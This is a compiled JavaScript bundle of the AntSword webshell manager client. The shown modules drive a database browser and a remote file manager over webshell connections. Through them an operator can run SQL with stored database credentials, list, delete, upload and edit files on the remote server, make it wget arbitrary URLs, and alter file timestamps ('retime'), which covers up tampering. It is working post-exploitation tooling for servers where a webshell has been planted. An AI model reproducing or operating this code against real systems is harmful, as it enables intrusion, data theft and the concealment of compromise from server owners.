value: function getTables(id, db) {
var _this5 = this;
this.manager.list.layout.progressOn();
// 获取配置
var conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this.core['database_' + conf['type']].show_tables({
host: conf['host'],
user: conf['user'],
passwd: conf['passwd'],
db: db
}, function (ret) {
var arr = ret.split('\t');
var _db = new Buffer(db).toString('base64');
// 删除子节点
_this5.tree.deleteChildItems('database::' + id + ':' + _db);
// 添加子节点
arr.map(function (_) {
if (!_) {
return;
};
var _table = new Buffer(_).toString('base64');
_this5.tree.insertNewItem('database::' + id + ':' + _db, 'table::' + id + ':' + _db + ':' + _table, _, null, _this5.manager.list.imgs[2], _this5.manager.list.imgs[2], _this5.manager.list.imgs[2]);
});
_this5.manager.list.layout.progressOff();
}, function (err) {
toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']);
_this5.manager.list.layout.progressOff();
});
}
// 获取字段
}, {
key: 'getColumns',
value: function getColumns(id, db, table) {
var _this6 = this;
this.manager.list.layout.progressOn();
// 获取配置
var conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {
_id: this.manager.opt['_id'],
id: id
});
this.core['database_' + conf['type']].show_columns({
host: conf['host'],
user: conf['user'],
passwd: conf['passwd'],
db: db,
table: table
}, function (ret) {
var arr = ret.split('\t');
var _db = new Buffer(db).toString('base64');
var _table = new Buffer(table).toString('base64');
// 删除子节点
_this6.tree.deleteChildItems('table::' + id + ':' + _db + ':' + _table);
// 添加子节点
arr.map(function (_) {
if (!_) {
return;
};
var _column = new Buffer(_.split(' ')[0]).toString('base64');
_this6.tree.insertNewItem('table::' + id + ':' + _db + ':' + _table, 'column::' + id + ':' + _db + ':' + _table + ':' + _column, _, null, _this6.manager.list.imgs[3], _this6.manager.list.imgs[3], _this6.manager.list.imgs[3]);
});
// 更新编辑器SQL语句
_this6.manager.query.editor.session.setValue('SELECT * FROM `' + table + '` ORDER BY 1 DESC LIMIT 0,20;');
_this6.manager.list.layout.progressOff();
}, function (err) {
toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);
_this6.manager.list.layout.progressOff();
});
}
// 执行SQL
}, {
key: 'execSQL',
value: function execSQL(sql) {
var _this7 = this;
this.manager.query.layout.progressOn();
this.core['database_' + this.dbconf['type']].query({
host: this.dbconf['host'],
user: this.dbconf['user'],
passwd: this.dbconf['passwd'],
db: this.dbconf['database'],
sql: sql,
encode: this.dbconf['encode'] || 'utf8'
}, function (ret) {
// 更新执行结果
_this7.updateResult(ret);
_this7.manager.query.layout.progressOff();
}, function (err) {
toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);
_this7.manager.query.layout.progressOff();
});
}
// 更新SQL执行结果
}, {
key: 'updateResult',
value: function updateResult(data) {
// 1.分割数组
var arr = data.split('\n');
// 2.判断数据
if (arr.length < 2) {
return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);
};
// 3.行头
var header_arr = arr[0].split('\t|\t');
if (header_arr.length === 1) {
return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']);
};
if (header_arr[header_arr.length - 1] === '\r') {
header_arr.pop();
};
arr.shift();
// 4.数据
var data_arr = [];
arr.map(function (_) {
var _data = _.split('\t|\t');
data_arr.push(_data);
});
data_arr.pop();
// 5.初始化表格
var grid = this.manager.result.layout.attachGrid();
grid.clearAll();
grid.setHeader(header_arr.join(',').replace(/,$/, ''));
grid.setColSorting('str,'.repeat(header_arr.length).replace(/,$/, ''));
grid.setInitWidths('*');
grid.setEditable(true);
grid.init();
// 添加数据
var grid_data = [];
for (var i = 0; i < data_arr.length; i++) {
grid_data.push({
id: i + 1,
data: data_arr[i]
});
}
grid.parse({
'rows': grid_data
}, 'json');
// 启用导出按钮
// this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');
}
// 禁用toolbar按钮
}, {
key: 'disableToolbar',
value: function disableToolbar() {
this.manager.list.toolbar.disableItem('del');
}
// 启用toolbar按钮
}, {
key: 'enableToolbar',
value: function enableToolbar() {
this.manager.list.toolbar.enableItem('del');
}
// 禁用SQL编辑框
}, {
key: 'disableEditor',
value: function disableEditor() {
var _context;
['exec', 'clear'].map((_context = this.manager.query.toolbar, this.manager.query.toolbar.disableItem).bind(_context));
this.manager.query.editor.setReadOnly(true);
}
// 启用SQL编辑框
}, {
key: 'enableEditor',
value: function enableEditor() {
var _context2;
['exec', 'clear'].map((_context2 = this.manager.query.toolbar, this.manager.query.toolbar.enableItem).bind(_context2));
this.manager.query.editor.setReadOnly(false);
}
}]);
return PHP;
}();
module.exports = PHP;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 80 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(global, Buffer) {'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); //
// 文件管理模块
//
var _files = __webpack_require__(81);
var _files2 = _interopRequireDefault(_files);
var _tasks = __webpack_require__(82);
var _tasks2 = _interopRequireDefault(_tasks);
var _folder = __webpack_require__(83);
var _folder2 = _interopRequireDefault(_folder);
var _encodes = __webpack_require__(84);
var _encodes2 = _interopRequireDefault(_encodes);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var fs = global.require('fs');
var iconv = global.require('iconv-lite');
var crypto = global.require('crypto');
var remote = global.require('remote');
var dialog = remote.require('dialog');
// 加载语言模板
var LANG = antSword['language']['filemanager'];
var LANG_T = antSword['language']['toastr'];
var FileManager = function () {
function FileManager(opts) {
var _this = this;
_classCallCheck(this, FileManager);
var tabbar = antSword['tabbar'];
var hash = String(Math.random()).substr(2, 10);
tabbar.addTab('tab_filemanager_' + hash,
// `<i class="fa fa-folder-o"></i> ${LANG['title']} \/\/ ${opts['ip']}`,
'<i class="fa fa-folder-o"></i> ' + opts['ip'], null, null, true, true);
// 创建框架
var cell = tabbar.cells('tab_filemanager_' + hash);
this.isWin = true;
this.path = '/';
this.home = '/';
this.devices = [];
// this.cache = {};
this.cell = cell;
this.opts = opts;
this.cache = new antSword['CacheManager'](opts['_id']);
this.core = new antSword['core'][opts['type']](opts);
this.win = new dhtmlXWindows();
this.win.attachViewportTo(this.cell.cell);
// 获取基本信息
var cache_info = this.cache.get('info');
if (cache_info) {
this.initUI(cache_info);
} else {
this.cell.progressOn();
this.core.base.info(function (ret) {
_this.initUI(ret);
_this.cell.progressOff();
}, function (err) {
_this.cell.progressOff();
_this.cell.close();
toastr.error((typeof err === 'undefined' ? 'undefined' : _typeof(err)) === 'object' ? JSON.stringify(err) : String(err), LANG_T['error']);
});
}
}
// 初始化UI
_createClass(FileManager, [{
key: 'initUI',
value: function initUI(ret) {
var _this2 = this;
// 判断获取数据是否正确
var info = ret.split('\t');
if (!info.length >= 2) {
toastr.error('Loading infomations failed!<br/>' + ret, LANG_T['error']);
this.cache.del('info');
return this.cell.close();
};
var info_path = info[0].replace(/\\/g, '/').replace(/\.$/, '');
var info_drive = info[1];
// 判断是否为linux
if (info_path.substr(0, 1) === '/') {
this.isWin = false;
};
this.path = info_path;
this.home = info_path;
info_drive.split(':').map(function (_) {
if (!_) {
return;
};
_this2.devices.push(_ === '/' ? _ : _ + ':/');
});
// 模块对象
var layout = this.cell.attachLayout('3L');
this.folder = new _folder2.default(layout.cells('a'), this);
this.files = new _files2.default(layout.cells('b'), this);
this.tasks = new _tasks2.default(layout.cells('c'), this);
this.folder.cell.progressOn();
this.files.cell.progressOn();
this.getFiles(this.path, function (files) {
_this2.folder.parse(files);
_this2.files.parse(files);
});
}
// 本地存储
// storage('save_key').get('{}')
// storage('save_key').set('{a:123}')
}, {
key: 'storage',
value: function storage(key) {
var md5 = crypto.createHash('md5');
md5.update(this.opts['url']);
var k = md5.digest('hex').substr(0, 11) + '_' + key;
return {
get: function get(def) {
return localStorage.getItem(k) || def;
},
set: function set(val) {
return localStorage.setItem(k, val);
}
};
}
// 获取目录文件列表
}, {
key: 'getFiles',
value: function getFiles(p, callback) {
var _this3 = this;
var self = this;
var path = this.changePath(p);
var cache = void 0;
if (!path.endsWith('/')) {
path += '/';
};
this.path = path;
var cache_tag = 'filemanager-files-' + new Buffer(this.path).toString('base64');
// 判断是否有缓存
// if (cache = this.cache[path]) {
// return callback(cache);
// };
if (cache = this.cache.get(cache_tag)) {
return callback(JSON.parse(cache));
};
this.core.filemanager.dir({
path: path
}, function (ret) {
// 判断是否出错
if (ret.startsWith('ERROR://')) {
callback([]);
return toastr.error(ret.substr(9), LANG_T['error']);
};
var tmp = ret.split('\n');
tmp.sort();
var folders = [];
var files = [];
tmp.map(function (t) {
var _ = t.split('\t');
var d = {
name: _[0],
time: _[1],
size: _[2],
attr: _[3]
};
if (_[0].endsWith('/')) {
folders.push(d);
} else {
files.push(d);
}
});
var data = folders.concat(files);
callback(data);
// 增加缓存
// self.cache[path] = data;
_this3.cache.set(cache_tag, JSON.stringify(data));
}, function (err) {
toastr.error(err instanceof Object ? JSON.stringify(err) : String(err), LANG_T['error']);
});
}
// 更改目录，返回最终绝对路径
}, {
key: 'changePath',
value: function changePath(path) {
if (!this.path.endsWith('/')) {
this.path += '/';
};
if (!path.endsWith('/')) {
path += '/';
};
// 如果是当前目录，返回
if (path === './') {
return this.path;
// 如果是上级目录，则判断是否为最后一级？返回最后一级：返回上一级
} else if (path === '../') {
var _ = this.path.split('/');
if (_.length === 2) {
return _.join('/');
} else if (_.length > 2) {
_.pop();
_.pop();
_.length === 1 ? _.push('') : 0;
return _.join('/');
} else {
return this.path;
}
// 如果是根目录，返回
} else if (path.startsWith('/') || path.substr(1, 2) === ':/') {
return path;
// 如果是相对路径，返回绝对全路径
} else {
return this.path + path;
}
}
// 删除文件/目录
}, {
key: 'deleteFile',
value: function deleteFile(files) {
var _this4 = this;
var self = this;
layer.confirm(LANG['delete']['confirm'](files.length > 1 ? files.length : files[0]), {
icon: 2,
shift: 6,
//skin: 'layui-layer-molv',
title: '<i class="fa fa-trash"></i> ' + LANG['delete']['title']
}, function (_) {
layer.close(_);
files.map(function (p) {
(function (p) {
var path = _this4.path + p;
_this4.files.cell.progressOn();
_this4.core.filemanager.delete({
path: path
}, function (ret) {
_this4.files.cell.progressOff();
if (ret === '1') {
toastr.success(LANG['delete']['success'](path), LANG_T['success']);
_this4.files.refreshPath();
} else {
toastr.error(LANG['delete']['error'](path, ret === '0' ? false : ret), LANG_T['error']);
}
}, function (err) {
_this4.files.cell.progressOff();
toastr.error(LANG['delete']['error'](path, err), LANG_T['error']);
});
})(p);
});
});
}
// 粘贴文件/文件夹
// source: 复制源文件/目录
// name: 复制文件/目录名
}, {
key: 'pasteFile',
value: function pasteFile(source, name) {
var _this5 = this;
var target = this.path + name;
this.files.cell.progressOn();
this.core.filemanager.copy({
path: source,
target: target
}, function (ret) {
_this5.files.cell.progressOff();
if (ret === '1') {
// 刷新目录
_this5.files.refreshPath();
// 删除缓存
delete _this5.files.Clipboard[name];
toastr.success(LANG['paste']['success'](name), LANG_T['success']);
} else {
toastr.error(LANG['paste']['error'](name, ret === '0' ? false : ret), LANG_T['error']);
}
}, function (err) {
toastr.error(LANG['paste']['error'](name, err), LANG_T['error']);
});
}
// 重命名
}, {
key: 'renameFile',
value: function renameFile(name) {
var _this6 = this;
var isDir = name.endsWith('/');
layer.prompt({
value: name.replace(/\/$/, ''),
title: '<i class="fa fa-fa fa-font"></i> ' + LANG['rename']['title'] + ' (' + name + ')'
}, function (value, index, elem) {
_this6.files.cell.progressOn();
_this6.core.filemanager.rename({
path: _this6.path + name,
name: _this6.path + value + (isDir && !value.endsWith('/') ? '/' : '')
}, function (ret) {
_this6.files.cell.progressOff();
if (ret === '1') {
_this6.files.refreshPath();
toastr.success(LANG['rename']['success'], LANG_T['success']);
} else {
toastr.error(LANG['rename']['error'](ret === '0' ? false : ret), LANG_T['error']);
}
}, function (err) {
toastr.error(LANG['rename']['error'](err), LANG_T['error']);
});
layer.close(index);
});
}
// 新建目录
}, {
key: 'createFolder',
value: function createFolder() {
var _this7 = this;
layer.prompt({
value: LANG['createFolder']['value'],
title: '<i class="fa fa-folder"></i> ' + LANG['createFolder']['title']
}, function (value, i, e) {
_this7.files.cell.progressOn();
_this7.core.filemanager.mkdir({
path: _this7.path + value
}, function (ret) {
_this7.files.cell.progressOff();
if (ret === '1') {
_this7.files.refreshPath();
toastr.success(LANG['createFolder']['success'](value), LANG_T['success']);
} else {
toastr.error(LANG['createFolder']['error'](value, ret === '0' ? false : ret), LANG_T['error']);
}
}, function (err) {
toastr.error(LANG['createFolder']['error'](value, err), LANG_T['error']);
});
layer.close(i);
});
}
// 新建文件
}, {
key: 'createFile',
value: function createFile() {
var _this8 = this;
layer.prompt({
value: LANG['createFile']['value'],
title: '<i class="fa fa-file"></i> ' + LANG['createFile']['title']
}, function (value, i, e) {
_this8.files.cell.progressOn();
_this8.core.filemanager.create_file({
path: _this8.path + value,
content: '\0'
}, function (ret) {
_this8.files.cell.progressOff();
if (ret === '1') {
_this8.files.refreshPath();
toastr.success(LANG['createFile']['success'](value), LANG_T['success']);
} else {
toastr.error(LANG['createFile']['error'](value, ret === '0' ? false : ret), LANG_T['error']);
}
}, function (err) {
toastr.error(LANG['createFile']['error'](value, err), LANG_T['error']);
});
layer.close(i);
});
}
// 重命名文件/夹
}, {
key: 'retimeFile',
value: function retimeFile(name, oldtime) {
var _this9 = this;
layer.prompt({
value: oldtime,
title: '<i class="fa fa-clock-o"></i> ' + LANG['retime']['title'] + ' (' + name + ')',
content: '<input type="text" class="layui-layer-input" onClick="laydate({istime: true, format: \'YYYY-MM-DD hh:mm:ss\'});" value="' + oldtime + '">'
}, function (value, i, e) {
_this9.files.cell.progressOn();
_this9.core.filemanager.retime({
path: _this9.path + name,
time: value
}, function (ret) {
_this9.files.cell.progressOff();
if (ret === '1') {
_this9.files.refreshPath();
toastr.success(LANG['retime']['success'](name), LANG_T['success']);
} else {
toastr.error(LANG['retime']['error'](name, ret === '0' ? false : ret), LANG_T['error']);
}
}, function (err) {
toastr.error(LANG['retime']['error'](name, err), LANG_T['error']);
});
layer.close(i);
});
}
// 预览文件(图片、视频)
}, {
key: 'previewFile',
value: function previewFile(name) {
var path = this.path + name;
var win = this.createWin({
title: 'Preview File: ' + path
});
win.cell.lastChild['style']['overflow'] = 'scroll';
win.cell.lastChild['style']['textAlign'] = 'center';
var data = 'data:image/png;base64,';
var buff = '';
this.core.filemanager.download_file({
path: path
}, function (ret, buff) {
var imgData = new Buffer(buff).toString('base64');
win.attachHTMLString('<img src="data:/image/png;base64,' + imgData + '"/>');
}, function (err) {}, function (chunk) {
buff += chunk;
var imgData = data + new Buffer(buff).toString('base64');
});
}
// 下载文件
}, {
key: 'downloadFile',
value: function downloadFile(name, size) {
var _this10 = this;
var path = this.path + name;
var task = this.tasks.new(LANG['download']['task']['name'], path, LANG['download']['task']['wait']);
// 获取要保存的路径
dialog.showSaveDialog({
title: LANG['download']['title'],
defaultPath: name
}, function (filePath) {
if (!filePath) {
return task.end(LANG['download']['task']['cancel']);
};
task.update(LANG['download']['task']['start']);
// setTimeout(() => {
var down_size = 0;
_this10.core.filemanager.download_file({
path: path
}, function (ret, buff) {
// 保存文件
// fs.writeFileSync(filePath+'_bak', new global.Buffer(buff));
// 检测文件大小是否一致
if (buff.length === size) {
task.success(LANG['download']['task']['success']);
toastr.success(LANG['download']['success'](name), LANG_T['success']);
} else if (buff.length === 21) {
task.failed(buff.toString());
} else {
// task.failed(`FileSize(${buff.length} != ${size}`);
task.failed(LANG['download']['task']['error']('SizeErr: ' + buff.length + ' != ' + size));
}
}, function (err) {
task.failed(LANG['download']['task']['error'](err));
toastr.error(LANG['download']['error'](name, err), LANG_T['error']);
}, function (chunk) {
// 写入文件
fs.writeFileSync(filePath, new global.Buffer(chunk), {
flag: 'a'
});
// 计算进度百分比
down_size += chunk.length;
var down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100);
if (!(down_progress % 5)) {
task.update(down_progress + '%');
};
// task.update(`${parseFloat(down_size/size).toFixed(0) * 100} %`);
});
// }, 200);
});
}
// wget文件
}, {
key: 'wgetFile',
value: function wgetFile() {
var _this11 = this;
var self = this;
var hash = +new Date();
// 获取URL
var _index = layer.prompt({
title: '<i class="fa fa-cloud-download"></i> ' + LANG['wget']['title'],
content: '<input type="text" style="width:300px;" class="layui-layer-input" id="url_' + hash + '" value="http://" placeholder="target url"><p/><input style="width:300px;" type="text" id="path_' + hash + '" class="layui-layer-input" value="' + self.path + '" placeholder="file name">',
btn: ['wget'],
yes: function yes(i) {
var _url = $('#url_' + hash);
var _path = $('#path_' + hash);
var url = _url.val();
var path = _path.val();
if (url.split('/').length < 4) {
_url.focus();
return toastr.warning(LANG['wget']['check'], LANG_T['warning']);
};
if (path.length < 1) {
return _path.focus();
};
var task = _this11.tasks.new(LANG['wget']['task']['name'], url + ' -> ' + path);
task.update(LANG['wget']['task']['start']);
_this11.core.filemanager.wget({
url: url,
path: path
}, function (ret) {
// 下载成功？当前目录？刷新：删除缓存
if (ret === '1') {
task.success(LANG['wget']['task']['success']);
var _ = path.substr(0, path.lastIndexOf('/') + 1);
_this11.files.refreshPath(_ === self.path ? false : _);
} else {
task.failed(LANG['wget']['task']['failed'](ret));
}
}, function (err) {
task.failed(LANG['wget']['task']['error'](err));
});
layer.close(i);
}
});
$('#layui-layer' + _index).css('width', '400px');
}
// 上传文件
}, {
key: 'uploadFile',
value: function uploadFile() {
var _this12 = this;
var path = this.path;
var tasks = {};
var upload = function upload(filePaths) {
if (!filePaths[0]) {
return false;
};
var filePath = filePaths[0];
var i = 0;
var buff = [];
// 数据分段上传，一次上传512kb=1024*512
var split = 1024 * 512;
var task = tasks[filePath];
// 获取文件名
var fileName = filePath.substr(filePath.lastIndexOf('/') + 1);
var fileBuff = void 0;
// 读取文件buffer
try {
fileBuff = fs.readFileSync(filePath);
} catch (e) {
return task.failed(e);
}
while (true) {
var _ = fileBuff.slice(i, i + split);
i += split;
if (_.length === 0) {
break;
};
buff.push(_);
}
var all_num = buff.length;
var upload_func = function upload_func(arr) {
if (!arr[0]) {
// 上传完毕
task.success('100%');
// 刷新目录
toastr.success(LANG['upload']['success'](fileName), LANG_T['success']);
// 刷新目录缓存
_this12.files.refreshPath(path === _this12.path ? '' : path);
return upload(filePaths);
};
// 更新进度条
task.update(parseInt((all_num - arr.length) / all_num * 100) + '%');
// 开始上传分段数据
_this12.core.filemanager.upload_file({
path: path + fileName,
content: arr[0]
}, function (ret) {
if (ret === '1') {
// 继续上传
arr.shift();
upload_func(arr);
} else {
task.failed(LANG['upload']['task']['failed'](ret));
toastr.error(LANG['upload']['error'](fileName, ret === '0' ? '' : '<br/>' + ret), LANG_T['error']);
}
}, function (err) {
task.failed(LANG['upload']['task']['error'](err));
toastr.error(LANG['upload']['error'](fileName, err), LANG_T['error']);
});
};
upload_func(buff);
filePaths.shift();
};
dialog.showOpenDialog({
properties: ['openFile', 'multiSelections']
}, function (filePaths) {
if (!filePaths) {
return;
};
// 逐个文件上传
filePaths.map(function (_) {
var fileName = _.substr(_.lastIndexOf('/') + 1);
tasks[_] = _this12.tasks.new(LANG['upload']['task']['name'], fileName + ' => ' + path, '准备上传..');
});
upload(filePaths);
});
}
// 编辑文件
}, {
key: 'editFile',
value: function editFile(name) {
var self = this;
var path = this.path + name;
var editor = null;
var codes = '';
// 创建窗口
var win = this.createWin({
title: LANG['editor']['title'](path),
width: 800
});
win.maximize();
win.progressOn();
// 检测文件后缀
var ext = name.substr(name.lastIndexOf('.') + 1);
var ext_dict = {
'php': 'php',
'c': 'c_cpp',
'cpp': 'c_cpp',
'h': 'c_cpp',
'coffee': 'coffee',
'cfm': 'coldfusion',
'css': 'css',
// 'ejs': 'ejs',
'go': 'golang',
'html': 'html',
'ini': 'ini',
'conf': 'ini',
'jade': 'jade',
'java': 'java',
'js': 'javascript',
'json': 'json',
'jsp': 'jsp',
'jsx': 'jsx',
'less': 'less',
'lua': 'lua',
'md': 'markdown',
'sql': 'sql',
'pl': 'perl',
'py': 'python',
'rb': 'ruby',
'sh': 'sh',
'txt': 'text',
'xml': 'xml'
};
if (!(ext in ext_dict)) {
ext = 'txt';
};
// 创建窗口工具栏
var toolbar = win.attachToolbar();
var _options = [];
for (var _ in ext_dict) {
var _ext = ext_dict[_];
var _opt = {
id: 'mode_' + _ext,
text: _ext + ' (.' + _ + ')',
icon: 'code',
type: 'button'
};
_ === ext ? _opt['selected'] = true : 0;
_options.push(_opt);
}
toolbar.loadStruct([{ id: 'save', type: 'button', icon: 'save', text: LANG['editor']['toolbar']['save'] }, { type: 'separator' }, { type: 'spacer' }, {
id: 'encode', type: 'buttonSelect', icon: 'language', openAll: true,
text: LANG['editor']['toolbar']['encode'],
options: function () {
var ret = [];
_encodes2.default.map(function (_) {
var _opt_ = {
id: 'encode_' + _,
text: _,
icon: 'font',
type: 'button'
};
_ === self.opts['encode'] ? _opt_['selected'] = true : 0;
ret.push(_opt_);
});
return ret;
}()
}, {
id: 'mode', type: 'buttonSelect', icon: 'th-list', openAll: true,
text: LANG['editor']['toolbar']['mode'],
options: _options
}]);
toolbar.attachEvent('onClick', function (id) {
if (id === 'save') {
// 保存代码
win.progressOn();
// self.ajax(
self.core.filemanager.create_file({
path: path,
content: editor.session.getValue() || '\0'
}, function (ret) {
win.progressOff();
if (ret === '1') {
toastr.success(LANG['editor']['success'](path), LANG_T['success']);
// 刷新目录（显示更改时间、大小等）
self.files.refreshPath();
} else {
toastr.error(LANG['editor']['error'](path, ret === '0' ? '' : '<br/>' + ret), LANG_T['error']);
}
});
} else if (id.startsWith('mode_')) {
var mode = id.split('_')[1];
editor.session.setMode('ace/mode/' + mode);
} else if (id.startsWith('encode_')) {
var encode = id.split('_')[1];
editor.session.setValue(iconv.encode(codes, encode).toString());
} else {
console.info('toolbar.onClick', id);
}
});
// 获取文件代码
this.core.filemanager.read_file({
path: path
}, function (ret) {
var _context;
codes = ret;
win.progressOff();
// 初始化编辑器
editor = ace.edit(win.cell.lastChild);
editor.$blockScrolling = Infinity;
editor.setTheme('ace/theme/tomorrow');
editor.session.setMode('ace/mode/' + ext_dict[ext]);
editor.session.setUseWrapMode(true);
editor.session.setWrapLimitRange(null, null);
editor.setOptions({
fontSize: '14px',
enableBasicAutocompletion: true,
enableSnippets: true,
enableLiveAutocompletion: true
});
// 编辑器快捷键
editor.commands.addCommand({
name: 'save',
bindKey: {
win: 'Ctrl-S',
mac: 'Command-S'
},
exec: function exec() {
toolbar.callEvent('onClick', ['save']);
}
});
editor.session.setValue(ret);
// 定时刷新
var inter = setInterval((_context = editor, editor.resize).bind(_context), 200);
win.attachEvent('onClose', function () {
clearInterval(inter);
return true;
});
}, function (err) {
toastr.error(LANG['editor']['loadErr'](err), LANG_T['error']);
win.close();
});
}
// 创建窗口
}, {
key: 'createWin',
value: function createWin(opts) {
var _id = String(Math.random()).substr(5, 10);
// 默认配置
var opt = $.extend({
title: 'Window:' + _id,
width: 660,
height: 550
}, opts);
// 创建窗口
var _win = this.win.createWindow(_id, 0, 0, opt['width'], opt['height']);
_win.setText(opt['title']);
_win.centerOnScreen();
_win.button('minmax').show();
_win.button('minmax').enable();
// 返回窗口对象
return _win;
}
}]);
return FileManager;
}();
exports.default = FileManager;
/* WEBPACK VAR INJECTION */}.call(exports, (function() { return this; }()), __webpack_require__(5).Buffer))
/***/ },
/* 81 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(Buffer) {'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 文件管理 模块
//
var LANG_T = antSword['language']['toastr'];
var LANG = antSword['language']['filemanager']['files'];
var Files = function () {
// 需要参数
// 1.cell: 左侧layout.cell对象
// 2.manager 主对象（index.jsx）
function Files(cell, manager) {
_classCallCheck(this, Files);
var self = this;
cell.setText('<i class="fa fa-file-o"></i> ' + LANG['title']);
// 创建toolbar
var toolbar = cell.attachToolbar();
// 加载本地缓存书签栏
var bookmark = JSON.parse(manager.storage('bookmarks').get('{}'));
// 重新加载书签
this.reloadToolbar = function () {
var bookmark_opts = [{
id: 'bookmark_add',
type: 'button',
icon: 'plus-circle',
text: LANG['bookmark']['add'],
enabled: !bookmark[manager.path]
}];
if (!$.isEmptyObject(bookmark)) {
bookmark_opts.push({ type: 'separator' });
};
for (var _ in bookmark) {
bookmark_opts.push({
id: 'bookmark_' + _,
text: bookmark[_],
icon: 'bookmark-o',
type: 'button',
enabled: manager.path !== _
});
}
// 添加清除按钮
if (bookmark_opts.length > 2) {
bookmark_opts.push({
type: 'separator'
});
bookmark_opts.push({
id: 'bookmark_remove',
icon: 'remove',
text: LANG['bookmark']['del'],
type: 'button',
enabled: !!bookmark[manager.path]
});
bookmark_opts.push({
id: 'bookmark_clear',
icon: 'trash-o',
text: LANG['bookmark']['clear'],
type: 'button'
});
};
toolbar.clearAll();
toolbar.loadStruct([{
id: 'new', type: 'buttonSelect', icon: 'plus-circle', text: LANG['toolbar']['new'], openAll: true,
options: [{ id: 'new_folder', icon: 'folder-o', type: 'button', text: LANG['toolbar']['folder'] }, { id: 'new_file', icon: 'file-o', type: 'button', text: LANG['toolbar']['file'] }, { type: 'separator' }, { id: 'new_wget', icon: 'cloud-download', type: 'button', text: LANG['toolbar']['wget'] }, { id: 'new_upload', icon: 'cloud-upload', type: 'button', text: LANG['toolbar']['upload'] }]
}, { type: 'separator' }, { id: 'up', type: 'button', icon: 'arrow-up', text: LANG['toolbar']['up'] }, { type: 'separator' }, { id: 'refresh', type: 'button', icon: 'refresh', text: LANG['toolbar']['refresh'] }, { type: 'separator' }, { id: 'home', type: 'button', icon: 'home', text: LANG['toolbar']['home'] }, { type: 'separator' }, {
id: 'bookmark', type: 'buttonSelect', icon: 'bookmark', text: LANG['toolbar']['bookmark'], openAll: true,
options: bookmark_opts
}, { type: 'separator' }, { id: 'path', width: 300, type: 'buttonInput', value: manager.path || 'loading..' }, { id: 'read_path', type: 'button', icon: 'arrow-right', text: LANG['toolbar']['read'] }, { type: 'separator' }]);
};
this.reloadToolbar();
// reloadToolbar();
// this.reloadToolbar = reloadToolbar;
// toolbar点击事件
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'up':
self.gotoPath('..');
break;
case 'refresh':
self.refreshPath();
break;
case 'read_path':
var pwd = toolbar.getInput('path').value;
self.gotoPath(pwd);
break;
case 'home':
self.gotoPath(manager.home);
break;
case 'new_folder':
manager.createFolder();
break;
case 'new_file':
manager.createFile();
break;
case 'new_wget':
manager.wgetFile();
break;
case 'new_upload':
manager.uploadFile();
break;
case 'bookmark_add':
// 添加书签
layer.prompt({
value: self.manager.path,
title: LANG['prompt']['add']['title']
}, function (value, i, e) {
bookmark[self.manager.path] = value;
self.manager.storage('bookmarks').set(JSON.stringify(bookmark));
toastr.success(LANG['prompt']['add']['success'](self.manager.path), LANG_T['success']);
self.reloadToolbar();
layer.close(i);
});
break;
case 'bookmark_remove':
layer.confirm(LANG['prompt']['remove']['confirm'], {
icon: 2, shift: 6,
title: '<i class="fa fa-remove"></i> ' + LANG['prompt']['remove']['title']
}, function (_) {
// 删除书签并刷新
delete bookmark[self.manager.path];
self.manager.storage('bookmarks').set(JSON.stringify(bookmark));
self.reloadToolbar();
toastr.success(LANG['prompt']['remove']['success'], LANG_T['success']);
layer.close(_);
});
break;
case 'bookmark_clear':
layer.confirm(LANG['prompt']['clear']['confirm'], {
icon: 2, shift: 6,
title: '<i class="fa fa-trash-o"></i> ' + LANG['prompt']['clear']['title']
}, function (_) {
bookmark = {};
self.manager.storage('bookmarks').set('{}');
self.reloadToolbar();
toastr.success(LANG['prompt']['clear']['success'], LANG_T['success']);
layer.close(_);
});
break;
default:
var arr = id.split('_');
if (arr.length === 2 && arr[0] === 'bookmark') {
self.gotoPath(arr[1]);
};
}
});
toolbar.attachEvent('onEnter', function (id, value) {
switch (id) {
case 'path':
self.gotoPath(value);
break;
}
});
// 创建grid
var grid = cell.attachGrid();
grid.setHeader('\n ,\n ' + LANG['grid']['header']['name'] + ',\n ' + LANG['grid']['header']['time'] + ',\n ' + LANG['grid']['header']['size'] + ',\n ' + LANG['grid']['header']['attr'] + '\n ');
grid.setColTypes("ro,ro,ro,ro,ro");
grid.setColSorting('str,str,str,str,str');
grid.setInitWidths("40,*,150,100,100");
grid.setColAlign("center,left,left,right,center");
